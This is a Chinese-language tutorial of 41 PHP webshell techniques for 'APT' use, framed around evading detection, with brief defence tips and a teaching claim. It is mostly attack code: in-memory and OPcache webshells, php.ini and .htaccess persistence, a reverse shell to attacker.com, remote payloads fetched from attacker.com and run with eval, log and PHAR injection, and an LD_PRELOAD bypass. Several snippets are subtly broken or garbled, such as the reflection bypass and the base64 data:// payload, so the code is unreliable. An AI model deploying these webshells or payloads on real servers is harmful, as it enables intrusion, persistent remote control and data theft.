在高级持续性威胁(APT)场景下,PHP Webshell 的代码设计注重隐蔽性和免杀性,下面是一些核心代码片段,这些代码实现了不同的高级攻击技术。你可以通过这些示例进行分析,了解如何绕过检测机制。
1. 文件无痕驻留(内存马)
这个代码通过使用 PHP 的共享内存(shmop
)在内存中存储并执行恶意代码,而不在文件系统上留下任何痕迹。
php复制代码<?php// 检查是否在 PHP-FPM 环境中运行if (php_sapi_name() == 'fpm-fcgi') { // 获取当前进程ID $pid = getmypid(); // 创建共享内存段 $shm_id = shmop_open($pid, 'c', 0644, 1024); // 将 payload 编码为 base64 $payload = base64_encode("echo shell_exec(\$_POST['cmd']);"); // 写入共享内存 shmop_write($shm_id, $payload, 0); // 从共享内存读取并解码执行 $code = base64_decode(shmop_read($shm_id, 0, 1024)); eval($code); // 注册关机钩子,在脚本退出时清理共享内存 register_shutdown_function(function () use ($shm_id) { shmop_delete($shm_id); shmop_close($shm_id); }); }?>
2. 反序列化漏洞利用(POP 链)
利用 PHP 的反序列化漏洞来执行远程命令。这种方法通过反序列化恶意对象并触发对象的销毁方法来执行任意代码。
php复制代码<?phpclass Exploit { public $cmd; public function __destruct() { system($this->cmd); } }// 创建恶意对象$exploit = new Exploit();$exploit->cmd = 'id'; // 可以执行任意命令// 序列化恶意对象并编码为 base64$payload = serialize($exploit);echo base64_encode($payload);?>
3. OPcache 注入与持久化
使用 PHP 的 OPcache 特性,动态修改 PHP 文件的缓存,而不修改原始文件。通过这种方法,可以避免文件扫描和防病毒工具的检测。
php复制代码<?php// 获取当前 PHP 文件路径$path = '/var/www/html/index.php';// 编码恶意代码并将其存储在缓存中$payload = base64_encode("echo shell_exec(\$_POST['cmd']);");opcache_compile_file($path);// 使 PHP 文件失效并将恶意代码写入opcache_invalidate($path);file_put_contents($path, "<?php eval(base64_decode('$payload')); ?>");// 注册钩子,在脚本结束时恢复 OPcache 缓存register_shutdown_function(function () use ($path) { opcache_reset(); // 清空 OPcache 缓存});?>
4. 反向隧道 WebSocket
建立一个反向隧道,通过 WebSocket 与远程控制服务器进行通信。这个方法不直接暴露命令执行接口,而是通过建立长连接与远程服务器交互。
php复制代码<?php// 远程服务器地址与端口$host = 'attacker.com';$port = 8080;// 建立 TCP 连接$socket = fsockopen($host, $port);stream_set_blocking($socket, false);while (!feof($socket)) { // 从远程服务器读取命令 $cmd = fread($socket, 2048); // 执行命令并返回结果 $output = shell_exec($cmd); fwrite($socket, $output); }fclose($socket);?>
5. PHAR 文件劫持
通过 PHAR 文件的特殊协议,恶意代码可以嵌入到 PHAR 文件的 metadata 中,并通过反序列化漏洞触发执行。
php复制代码<?php// 创建一个恶意 PHAR 文件$phar = new Phar('malicious.phar');$phar->startBuffering();$phar->addFromString('test.txt', 'test');$phar->setStub('<?php __HALT_COMPILER(); ?>');$phar->setMetadata(['cmd' => 'echo shell_exec("id");']);$phar->stopBuffering();// 通过 PHAR 协议加载恶意代码include 'phar://malicious.phar/test.txt';?>
6. 动态函数 Hook
通过动态劫持 PHP 的 eval
等危险函数,在不暴露恶意代码的情况下执行。
php复制代码<?php// 使用 runkit7 扩展来劫持 eval 函数if (extension_loaded('runkit7')) { runkit7_function_redefine('eval', '$code', 'system($code);'); }// 使用 eval 执行系统命令eval('id');?>
7. 自我加密与多态变化
恶意代码自我加密并动态解密,增加检测的难度。这种方法可以防止代码的静态特征被识别。
php复制代码<?php// 加密的 payload$encoded_payload = 'ZWNobyAiSGVsbG8gV29ybGQiOw=='; // base64 编码后的 echo "Hello World"// 解密并执行eval(base64_decode($encoded_payload));?>
//这些代码示例展示了如何利用 PHP 的高级特性(如内存驻留、反序列化、OPcache、反向隧道等)
构建一个免杀且隐蔽的 Webshell。通过这些技术,攻击者可以绕过大多数静态检测工具,增加检测和响应的难度。
展示了多种隐藏和绕过防御机制的技术,通过利用 PHP 的各种漏洞、特性和功能,攻击者能够高效地执行恶意操
作并避免被检测。作为防御者,了解这些技术点非常重要,可以帮助你提高 Web 应用的安全性。
防御与检测
内存监控:使用 eBPF 或类似技术实时监控 PHP 进程的内存,检测内存中是否有不明的代码加载。
协议过滤:禁止 PHP 加载特定协议,如
phar://
,zip://
和data://
,减少协议劫持的风险。动态代码分析:通过行为分析工具监控 PHP 进程,捕捉
eval()
、shell_exec()
等危险函数的调用。代码白名单:实施严格的代码白名单机制,只有授权的 PHP 文件可以执行。
8. 环境变量注入
通过注入到 PHP 环境变量中的恶意代码,可以实现在不直接修改代码文件的情况下执行恶意命令。
php复制代码<?php// 利用 getenv() 函数注入恶意环境变量putenv('evil_payload=echo system($_GET["cmd"]);');echo getenv('evil_payload');// 在外部执行时,可以通过 GET 请求传入命令进行执行// 示例: http://example.com/shell.php?cmd=id?>
9. 控制 PHP 配置(php.ini)
通过操作 PHP 配置文件,使 PHP 执行一些恶意的操作,典型的方法是利用 auto_prepend_file
和 auto_append_file
。
php复制代码<?php// 利用 php.ini 配置中的 auto_prepend_file 自动包含恶意代码ini_set('auto_prepend_file', '/tmp/malicious_code.php');// 通过创建一个恶意的 php.ini 文件来持久化 Webshellfile_put_contents('/etc/php/7.4/cli/php.ini', 'auto_prepend_file = /tmp/malicious_code.php');?>
恶意代码示例:
php复制代码<?php// 作为 auto_prepend_file 被自动加载的代码eval(file_get_contents('phar://malicious.phar'));?>
10. PHP 反射机制绕过
利用 PHP 的反射机制绕过禁用函数列表,执行被禁用的函数(如 system
、eval
等)。
php复制代码<?php// 利用反射机制调用禁用的函数class ShellExec { public function __construct() { // 将 ShellExec::class 引用到反射类中 $reflection = new ReflectionClass('ShellExec'); $method = $reflection->getMethod('system'); $method->invoke(null, 'id'); // 调用 system() 执行命令 } }// 触发反射执行恶意代码new ShellExec();?>
11. 利用 create_function()
动态执行
PHP 的 create_function()
函数可以动态创建并执行匿名函数,利用这一点可以动态执行恶意代码,避免被静态检测。
php复制代码<?php// 创建一个恶意的匿名函数$payload = 'system($_GET["cmd"]);';$func = create_function('$cmd', $payload);// 执行命令$func($_GET["cmd"]);?>
12. 文件包含绕过
通过对文件包含(include
、require
)函数的滥用,可以载入恶意文件。比如利用 data://
协议执行恶意代码。
php复制代码<?php// 使用 data:// 协议绕过文件包含限制,动态加载恶意代码include('data://text/plain;base64,PD9waHAgaWYoZXZhbCgkX1BPU1RbJ2NtZCddKSB7IGV4ZWMoc2hlbGw6OkZpcnN0bmFtZygpOyB9');?>
解释:
这里 data://
协议允许你将 base64 编码的 PHP 代码传递给 include
函数。base64_decode
解码后会执行恶意命令。
13. 使用 assert()
绕过安全限制
assert()
函数执行传入的表达式,如果没有适当配置,可能被用来执行 PHP 代码。通过这种方法可以绕过 eval()
的限制。
php复制代码<?php// 使用 assert() 动态执行恶意命令assert($_GET['cmd']);?>
示例:
访问 http://example.com/shell.php?cmd=system('id')
会执行 id
命令。
14. 利用图片上传进行 Webshell 执行
通过上传恶意图像文件(如伪造的 PHP 图像)来执行 Webshell。这类攻击常用在没有适当上传过滤的环境中。
php复制代码<?php// 假设上传文件为恶意图像,伪造的 PHP 文件if (isset($_FILES['file'])) { $file = $_FILES['file']['tmp_name']; $image = imagecreatefromjpeg($file); // 假设为伪造的 PHP 图像 // 使用 output 函数输出图像并执行恶意代码 if ($image) { eval($_POST['cmd']); } }?>
防御方法:
使用严格的文件类型检查;
禁用文件执行权限;
对上传文件进行有效的内容扫描。
15. 利用 GIT 或 CVS 文件存储
PHP Webshell 有时被存储在版本控制系统(如 Git 或 CVS)中,攻击者可能通过利用 .git
或 .svn
文件夹中的文件进行利用。
bash复制代码# 通过 Git 获取源代码并执行git clone http://example.com/.gitcd .git git checkout HEAD# 通过 PHP 文件执行恶意代码
防御方法:
关闭 Git 或 SVN 存储目录的访问权限;
定期检查并清理源代码版本控制系统。
16. 利用 HTTP 请求注入
通过构造恶意的 HTTP 请求头或参数,可以将命令注入到服务器的 PHP 代码中进行执行。
php复制代码<?php// 假设某些 HTTP 请求头被直接用于系统命令$cmd = $_SERVER['HTTP_CMD'];echo shell_exec($cmd);?>
示例:
通过请求头注入恶意命令:
vbnet复制代码GET /shell.php HTTP/1.1Host: example.comCMD: id
17. 使用 file_get_contents()
或 curl
执行远程代码
如果没有严格的远程文件请求限制,攻击者可以利用 file_get_contents()
或 curl
获取并执行远程恶意代码。
php复制代码<?php// 使用 file_get_contents() 执行远程代码$remote_code = file_get_contents('http://attacker.com/malicious_payload.php');eval($remote_code); // 执行远程代码?>
防御方法:
禁止
allow_url_fopen
;禁止
file_get_contents()
等函数远程请求。
18. 动态生成恶意 PHP 文件
通过将恶意代码嵌入到原本看起来无害的文件中,攻击者可以动态生成 PHP Webshell。例如,在一个常见的 index.php
文件中插入恶意代码。
php复制代码<?php// 动态生成恶意 PHP 文件$filename = 'webshell_' . md5(rand());file_put_contents($filename, "<?php system(\$_GET['cmd']); ?>");?>
防御方法:
限制写权限;
动态生成的文件要及时清理。
//这些核心代码展示了多种隐藏和绕过防御机制的技术,通过利用 PHP 的各种漏洞、特性和功能,攻击者能够高效地执行恶意操作并避免被检测。作为防御者,了解这些技术点非常重要,可以帮助你提高 Web 应用的安全性。在教学过程中,可以用这些示例与学生进行实际的攻防对抗,帮助他们深入理解和应对 APT 级别的攻击。
19. 利用 session
劫持持久化 Webshell
通过将恶意代码保存在 PHP 会话中,攻击者可以在用户访问网站时持续执行恶意操作,而无需在文件系统上存储 Webshell。
php复制代码<?php// 设置恶意代码到 session 中session_start();$_SESSION['payload'] = 'echo shell_exec($_GET["cmd"]);';// 当访问该页面时,执行存储在 session 中的代码eval($_SESSION['payload']);?>
防御方法:
禁用会话存储敏感数据;
严格限制
session
数据的输入内容。
20. 利用 proc_open
执行命令
proc_open
是 PHP 中用于打开进程的函数,攻击者可以利用它执行外部命令,绕过常规的命令执行检测。
php复制代码<?php// 使用 proc_open 执行外部命令$command = $_GET['cmd'];$descriptor_spec = array( 0 => array("pipe", "r"), // 标准输入 1 => array("pipe", "w"), // 标准输出 2 => array("pipe", "w") // 标准错误);$process = proc_open($command, $descriptor_spec, $pipes);if (is_resource($process)) { echo stream_get_contents($pipes[1]); proc_close($process); }?>
防御方法:
禁用
proc_open
、popen
、exec
等高危函数;使用安全的命令执行方法。
21. PHP 自执行 (Self-Executing)
通过动态生成并执行 PHP 脚本,攻击者可以避开文件扫描,避免检测。
php复制代码<?php// 动态生成并执行 PHP 代码$code = "<?php echo shell_exec(\$_GET['cmd']); ?>";file_put_contents('php://output', $code);eval($code);?>
防御方法:
禁止通过
php://
协议执行文件;使用实时监控,分析动态生成的脚本行为。
22. 内存中执行 PHP 代码(无需文件存储)
通过 PHP 的 eval()
或 create_function()
在内存中执行恶意代码,而不写入任何文件。
php复制代码<?php// 使用 eval 执行恶意代码$code = 'echo shell_exec($_GET["cmd"]);';eval($code); // 执行任意命令?>
防御方法:
禁止使用
eval()
、create_function()
和assert()
等动态执行函数;监控内存和进程行为。
23. URL 注入漏洞(任意文件读取)
PHP 允许直接从 URL 加载文件,攻击者可以构造恶意 URL 从服务器中读取敏感文件。
php复制代码<?php// 从 URL 参数获取文件并加载$file = $_GET['file'];include($file); // 读取并执行传入的文件?>
示例:
bash复制代码http://example.com/shell.php?file=http://attacker.com/malicious_code.php
防御方法:
使用白名单限制文件包含;
禁用外部 URL 引用。
24. 基于 set_time_limit
的持久化 Webshell
攻击者可以通过修改 PHP 的执行时间限制,保持 PHP Webshell 的持久运行,避免由于长时间执行被杀死。
php复制代码<?php// 设置脚本无限期执行set_time_limit(0);// 使用 PHP Webshell 持久化运行while (true) { echo shell_exec($_GET['cmd']); }?>
防御方法:
限制 PHP 脚本的执行时间;
使用进程监控工具检测长时间运行的 PHP 脚本。
25. 禁用函数绕过(通过反射绕过 disable_functions
)
攻击者可以通过 PHP 的反射机制绕过 disable_functions
的限制,执行本应被禁用的危险函数。
php复制代码<?php// 反射绕过 disable_functions 的限制$reflection = new ReflectionFunction('system');$reflection->invoke($_GET['cmd']);?>
防御方法:
使用 PHP 配置文件限制不必要的函数;
监控和审计 PHP 反射的使用。
26. XSS + PHP Webshell 联动
通过跨站脚本(XSS)漏洞注入 PHP Webshell,实现远程控制。
php复制代码<?php// 假设存在 XSS 漏洞,攻击者通过 XSS 注入 payloadecho "<script>eval('echo shell_exec(document.location.href.split(\"?\")[1]);');</script>";?>
防御方法:
避免直接输出用户输入数据,使用
htmlspecialchars
进行转义;对输入进行严格的验证。
27. 使用数据库执行命令
通过 SQL 注入漏洞,攻击者可以通过数据库执行操作,进而执行恶意命令。此方法不仅限于 Webshell,还可以用来获取数据库内容、执行系统命令等。
php复制代码<?php// 假设存在 SQL 注入漏洞$conn = mysqli_connect("localhost", "user", "password", "database");$query = "SELECT * FROM users WHERE name = '{$_GET['name']}'";$result = mysqli_query($conn, $query);// 通过 SQL 注入执行操作$query2 = "SELECT system('id');";mysqli_query($conn, $query2);?>
防御方法:
使用预处理语句和参数化查询;
检查和过滤所有的输入参数。
28. 利用 .htaccess
配置文件实现持久化
通过修改 .htaccess
配置文件,攻击者可以保持 Webshell 的持久存在,即使删除了原始 Webshell 文件。
php复制代码<?php// 改写 .htaccess 文件,使 Webshell 永久可用file_put_contents('.htaccess', 'php_value auto_prepend_file /path/to/shell.php');?>
防御方法:
定期审计
.htaccess
文件;限制
.htaccess
文件的写权限。
29. 利用 output_buffering
攻击
PHP 的 output_buffering
特性可以用于控制页面输出。攻击者可以通过缓冲区操控输出,将恶意代码隐藏在输出流中。
php复制代码<?php// 利用 output_buffering 伪装 Webshellob_start();echo shell_exec($_GET['cmd']);ob_end_flush();?>
防御方法:
禁用
output_buffering
;定期监控缓冲区内容。
30. 利用 file_put_contents()
写入敏感文件
攻击者可以利用 file_put_contents()
向敏感文件(如 php.ini
或 .htaccess
)写入恶意配置,导致 PHP 执行恶意代码。
php复制代码<?php// 写入恶意配置到 php.inifile_put_contents('/etc/php/7.4/cli/php.ini', 'auto_prepend_file = /path/to/shell.php');?>
防御方法:
限制文件写权限;
审计文件写入操作,防止恶意配置被写入。
//通过这些手段,攻击者能够在没有明显痕迹的情况下执行远程命令、保持持久化、规避防御检测。理解这些技术不仅有助于提高 Web 应用的安全性,也有助于更好地保护网络系统免受高级威胁的侵害。
31. 利用 preg_replace
的 e
修饰符执行命令
尽管 preg_replace
的 e
修饰符在 PHP 7.0+ 被废弃,但在旧版本或特定环境中仍可能存在,攻击者可以利用它执行任意 PHP 代码。
php复制代码<?php// 利用 preg_replace 执行命令$cmd = $_GET['cmd'];preg_replace('/.*/e', 'system($cmd)', 'any input');?>
示例访问:
bash复制代码http://example.com/shell.php?cmd=whoami
防御方法:
使用
preg_replace_callback
替代preg_replace
;强制升级到 PHP 7.0 以上,移除
e
修饰符。
32. php://filter
隐匿恶意代码
通过 php://filter
读取和执行 PHP 文件前,先进行 base64 编码,使恶意代码更加隐匿。
php复制代码<?php// 读取文件并进行 base64 解码$encoded = file_get_contents('php://filter/convert.base64-encode/resource=index.php');echo base64_decode($encoded);?>
示例访问:
arduino复制代码http://example.com/shell.php?file=index.php
防御方法:
禁用
php://
协议相关功能;设置文件访问白名单,防止任意文件读取。
33. 使用 .phar
文件绕过防护
PHP 的 phar://
协议允许直接访问 .phar
压缩文件内容并执行其中的恶意 PHP 代码。
php复制代码<?php// 访问 phar 文件中的恶意代码include 'phar://webshell.phar';?>
示例:
arduino复制代码phar://webshell.phar/hidden.php
防御方法:
禁止加载和解析 phar 文件;
限制
phar.readonly
为On
,防止 phar 文件动态生成。
34. 基于 destruct
的持久化 Webshell
PHP 中的析构函数可以在对象销毁时执行任意代码,攻击者可以利用这一特性在文件执行结束时触发恶意命令。
php复制代码<?phpclass Webshell { public function __destruct() { system($_GET['cmd']); } }$w = new Webshell();?>
防御方法:
避免不必要的析构函数;
监控对象生命周期,检测异常命令执行。
35. 使用 curl
+ 内存执行远程代码
攻击者可以通过 curl
读取远程 PHP 文件并在内存中直接执行,无需写入磁盘。
php复制代码<?php// 使用 curl 获取远程恶意代码并执行$ch = curl_init('http://attacker.com/payload.txt');curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$code = curl_exec($ch);curl_close($ch);eval($code);?>
防御方法:
禁用
allow_url_fopen
和curl_exec
等函数;设置网络请求的白名单策略。
36. 基于 LD_PRELOAD
绕过禁用函数
攻击者可以通过上传恶意 .so
文件并使用 LD_PRELOAD
强行覆盖 PHP 禁用的函数,实现绕过。
bash复制代码# 编写恶意共享库echo 'void execve() { system("/bin/sh"); }' > shell.c gcc -shared -o evil.so shell.cexport LD_PRELOAD=/var/www/html/uploads/evil.so php -r 'exec("id");'
防御方法:
限制 PHP 执行环境的动态库加载;
禁止 PHP 进程修改环境变量。
37. PHP 日志注入攻击(Log Injection)
攻击者可以将恶意代码注入日志文件中,随后通过访问日志触发代码执行。
php复制代码<?php// 模拟将恶意代码写入日志error_log("<?php echo shell_exec(\$_GET['cmd']); ?>", 3, '/var/log/php_errors.log');// 访问日志触发代码执行include('/var/log/php_errors.log');?>
防御方法:
禁止日志文件直接包含执行;
定期审计 PHP 错误日志,过滤异常代码。
38. 利用 mb_send_mail
命令执行
PHP 的 mb_send_mail
函数可以利用邮件参数执行任意命令。
php复制代码<?php// 使用 mb_send_mail 执行系统命令mb_send_mail('test@example.com', 'Subject', 'Message', '', '-oQ/tmp/ -X/tmp/cmd.php');?>
防御方法:
禁用
mb_send_mail
和mail
函数;监控邮件日志,发现异常行为。
39. EXIF 数据注入
攻击者可以将恶意 PHP 代码嵌入图像文件的 EXIF 数据中,通过 PHP 解析图像时触发执行。
php复制代码<?php// 读取并执行图像中的 EXIF 数据$exif = exif_read_data('image.jpg');eval($exif['DocumentName']);?>
防御方法:
禁用
exif_read_data
;严格限制上传文件类型和解析方式。
40. 通过 Nginx 日志执行代码
攻击者可以利用 Nginx 日志写入 PHP 代码,并通过访问包含日志触发执行。
php复制代码<?php// 将恶意代码写入 Nginx 访问日志file_put_contents('/var/log/nginx/access.log', '<?php system($_GET["cmd"]); ?>');// 通过 include 执行日志中的恶意代码include('/var/log/nginx/access.log');?>
防御方法:
禁止直接包含日志文件;
设置日志目录不可执行权限。
41. 动态代理 Webshell
攻击者可以通过动态代理,将 Webshell 隐藏在反向代理规则中,避免直接访问被发现。
php复制代码<?php// 代理所有请求到恶意服务器header('Location: http://attacker.com/shell.php?cmd=' . $_GET['cmd']);?>
防御方法:
禁止 PHP 服务器自动跳转外部;
审查代理请求行为,过滤异常跳转。